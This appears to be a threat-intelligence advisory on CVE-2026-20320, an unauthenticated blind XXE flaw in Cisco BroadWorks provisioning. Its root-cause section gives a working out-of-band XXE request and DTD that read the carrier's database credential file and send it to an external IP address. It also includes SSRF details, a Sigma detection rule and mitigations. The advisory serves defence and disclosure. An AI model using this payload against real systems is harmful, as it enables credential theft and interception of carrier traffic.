Skip to content

CVE-2026-20320: Cisco BroadWorks Open Client Interface Unauthenticated XML External Entity Injection

Density:
C-Level Executive Briefing CVE-2026-20320 CRITICAL SCORE 92/100

A critical unauthenticated XML external entity (XXE) vulnerability (CVE-2026-20320) in Cisco BroadWorks telecommunications platforms allows remote attackers to exfiltrate proprietary configuration files, system credentials, and cryptographic SIP keys from carrier switches without prior authentication. Cisco BroadWorks powers carrier-grade unified communications (UC), hosted PBX, and mobile telephony for tier-1 telecommunications operators worldwide. A flaw in its Open Client Interface - Provisioning (OCI-P) parser resolves external DTD entities by default. Attackers can leverage out-of-band (OOB) blind XXE techniques to harvest carrier database master passwords and execute server-side request forgery (SSRF) into private IP Multimedia Subsystem (IMS) networks. CISA confirmed active in-the-wild exploitation and added CVE-2026-20320 to the Known Exploited Vulnerabilities (KEV) catalog on November 10, 2026. Hermes rates this vulnerability at HTS 92 (CRITICAL).

HERMES

HERMES THREAT SCORE & TELECOMMUNICATIONS CORE EVALUATION

Target: Cisco BroadWorks OCI-P Provisioning Service and XML Processing Layer
Confidence: 98%
92 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 19 / 20
Weaponization 18 / 20
Exposure 18 / 20
Prevalence 18 / 20
Impact 18 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 18 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-20320 at 7.5 (High) due to the absence of direct write or system-halting availability impact. Hermes diverges with an elevated HTS score of 92 (CRITICAL). BroadWorks is the core signaling and provisioning engine for major telecom service providers. Unauthenticated out-of-band information disclosure on OCI-P interfaces exposes carrier DB connection strings, lawful intercept databases, and SIP digest secrets. These credentials provide adversaries the keys to intercept carrier voice traffic, redirect enterprise trunks, and orchestrate nationwide telecommunications fraud.


Cisco BroadWorks is a carrier-grade software platform delivering cloud voice, PBX, multimedia messaging, and unified communications services. It is deployed by telecommunications service providers, mobile operators, and large multisite enterprises to manage millions of voice subscribers, route SIP sessions, and interface with the public switched telephone network (PSTN).

On November 10, 2026, CISA issued an urgent directive adding CVE-2026-20320 to the Known Exploited Vulnerabilities (KEV) catalog following intelligence regarding widespread targeting of telecommunications infrastructure. The vulnerability resides in the Open Client Interface (OCI), specifically within the provisioning engine (OCI-P), which accepts XML and SOAP payloads to automate subscriber provisioning and profile configuration. Due to default XML parser configurations permitting the resolution of external entity and parameter declarations, unauthenticated remote attackers can craft messages that force the BroadWorks server to read arbitrary local files or initiate unauthorized connections to internal network assets via server-side request forgery (SSRF).


2. Root Cause Analysis & Technical Mechanics (CWE-611 / CWE-918)

Section titled โ€œ2. Root Cause Analysis & Technical Mechanics (CWE-611 / CWE-918)โ€

The root cause of CVE-2026-20320 lies in the instantiation of the XML parser within the BroadWorks OCI-P message reception pipeline:

sequenceDiagram
autonumber
participant Attacker as Adversary
participant OCI as Cisco BroadWorks OCI-P (Port 2208/2211)
participant C2 as Adversary DTD Server (OOB Listener)
participant FS as Local Filesystem (/etc/broadworks/)
Attacker->>C2: Host malicious DTD (payload.dtd)
Attacker->>OCI: Send crafted XML with external parameter entity (%xxe;)
Note over OCI: OCI XML parser evaluates DTD without disallowing external entities
OCI->>C2: Outbound HTTP GET http://c2/payload.dtd
C2-->>OCI: Return DTD defining file entity (%eval;)
OCI->>FS: Read /etc/broadworks/bw_database.conf
FS-->>OCI: Return database connection string & master credentials
OCI->>C2: Outbound HTTP GET http://c2/?data=<base64_encoded_credentials>
Note over Attacker,C2: Adversary recovers carrier database master password

In vulnerable versions prior to release RI.2026.07, the Java-based OCI-P message processing engine utilized standard DocumentBuilderFactory and SAXParserFactory instances without disabling inline DTDs:

// Vulnerable parser configuration in BroadWorks OCI-P handler
public Document parseOcipRequest(InputStream xmlInput) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setNamespaceAware(true);
// MISSING SECURITY FEATURES:
// factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
// factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
return builder.parse(xmlInput);
}

Because the parser encounters no restrictions against Document Type Definitions (<!DOCTYPE), it resolves external entities defined by the sender.

Because the OCI-P service does not directly echo the parsed XML elements back in standard HTTP or socket responses, adversaries deploy blind out-of-band (OOB) XXE techniques:

  1. The attacker sends an unauthenticated XML document referencing a remote parameter entity hosted on their infrastructure:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://185.196.220.18:8080/eval.dtd">
%remote;
%send;
]>
<broadsoftDocument protocol="OCI" xmlns="C">
<userId>admin</userId>
</broadsoftDocument>
  1. The attackerโ€™s external web server hosts eval.dtd:
<!ENTITY % file SYSTEM "file:///etc/broadworks/bw_database.conf">
<!ENTITY % send "<!ENTITY &#x25; call SYSTEM 'http://185.196.220.18:8080/?log=%file;'>">
%send;
%call;
  1. When BroadWorks parses the message, it reads the target file and transmits the contents as an HTTP GET query parameter back to the attackerโ€™s server, leaking carrier database passwords and encryption passphrases.

The attack surface involves carrier network topologies and provisioning portals:

  1. Public-Facing OCI-P Endpoints: Telecom operators frequently expose OCI-P over HTTP/HTTPS (ports 80/443) or raw TLS sockets (ports 2208/2211) to permit billing gateways and self-service portals to update subscriber records. These endpoints require no preliminary credentials to submit the initial XML request.
  2. Carrier Database Master Secrets: BroadWorks stores subscriber records, call detail records (CDRs), and lawful interception profiles in an Oracle or TimesTen database. Files such as /etc/broadworks/bw_database.conf contain cleartext database usernames, connection strings, and passwords.
  3. SSRF into Private Core IMS Infrastructure: Using the http:// or gopher:// entity schemas, the adversary can turn the BroadWorks server into an internal proxy, port-scanning and issuing requests to internal Session Border Controllers (SBCs), Media Gateway Controllers (MGCs), and Home Subscriber Servers (HSS) otherwise isolated in private MPLS/IP-VPN VRFs.

flowchart TD
A["T0: Reconnaissance"] -->|"Scan TCP 2208 / 2211 / 443"| B["Cisco BroadWorks OCI-P Endpoint Discovered"]
B -->|"Transmit Crafted XML with External DTD"| C["Unauthenticated OCI Parser Evaluates DOCTYPE"]
C -->|"Egress HTTP Request to Attacker Listener"| D["External DTD Ingested by BroadWorks JVM"]
D -->|"Internal File Read: /etc/broadworks/system.properties"| E["Database & SIP Credentials Harvested"]
E -->|"Out-of-Band Exfiltration to Attacker VPS"| F["Adversary Decodes Telecom Master Secrets"]
F -->|"Direct Database Access / SIP Trunk Hijack"| G["Carrier Call Interception & Toll Fraud"]

During forensic investigations on compromised BroadWorks application servers, incident response teams should focus on the following evidentiary checkpoints:

  1. Step 1: OCI Reporting & Request Logs Inspect /var/log/broadworks/app/ocip.log for inbound XML payloads featuring <!DOCTYPE, SYSTEM, or unusual XML namespaces.
  2. Step 2: DNS & Network Telemetry Correlate outbound DNS resolution requests originating from the BroadWorks server for newly registered or suspicious external domains occurring simultaneously with OCI-P web requests.
  3. Step 3: Web Server & Gateway Egress Review perimeter firewall logs for outbound HTTP connections on non-standard ports (e.g. 8080, 8443, 9000) sourced from the internal IP address of the BroadWorks host.
  4. Step 4: Database & SIP Session Auditing Verify whether harvested database credentials were used to initiate unauthorized SQL connections to the central subscriber database from untrusted internal or external IP addresses.

title: Cisco BroadWorks OCI-P XML External Entity Injection (CVE-2026-20320)
id: 9a38f712-4521-4f11-89ce-3829ad276810
status: experimental
description: Detects XML External Entity (XXE) injection attempts against Cisco BroadWorks OCI-P endpoints.
author: Hermes Cyber Risk Intelligence
references:
- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-broadworks-xxe-B9K7qZzN
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
tags:
- attack.initial_access
- attack.t1190
- attack.credential_access
- attack.t1552.001
logsource:
category: webserver
product: cisco_broadworks
detection:
selection_path:
cs-uri-stem|contains:
- '/bw/ocip'
- '/webservice/services/OCI'
- '/broadsoft'
selection_xxe:
cs-method: 'POST'
cs-body|contains:
- '<!DOCTYPE'
- '<!ENTITY'
- 'SYSTEM "http'
- 'SYSTEM "file'
condition: selection_path and selection_xxe
falsepositives:
- None expected in production. BroadWorks OCI-P standard schemas do not utilize external entity references.
level: critical

  1. Apply Cisco Software Release RI.2026.07: Upgrade all Cisco BroadWorks Application Server, Profile Server, and Xtended Services Platform instances immediately to software release RI.2026.07 or apply the vendor-provided maintenance patch.
  2. Implement Network ACLs on OCI-P Interfaces: OCI-P provisioning endpoints (ports 2208, 2211, and management HTTP services) must never be reachable from untrusted public IP networks. Enforce strict IP access control lists (ACLs) allowing traffic solely from designated billing gateways and internal operation support systems (OSS/BSS).
  3. Restrict Outbound Server Egress: Configure stateful firewalls on BroadWorks management segments to block all outbound HTTP, HTTPS, and DNS connections from BroadWorks host IP addresses to the public internet, preventing out-of-band XXE exfiltration channels.
  4. Audit and Rotate Carrier Database Passwords: Because compromised systems may have exposed cleartext configuration files, administrators must rotate all database administrative passwords, SIP domain authentication secrets, and OCI user accounts configured on affected instances.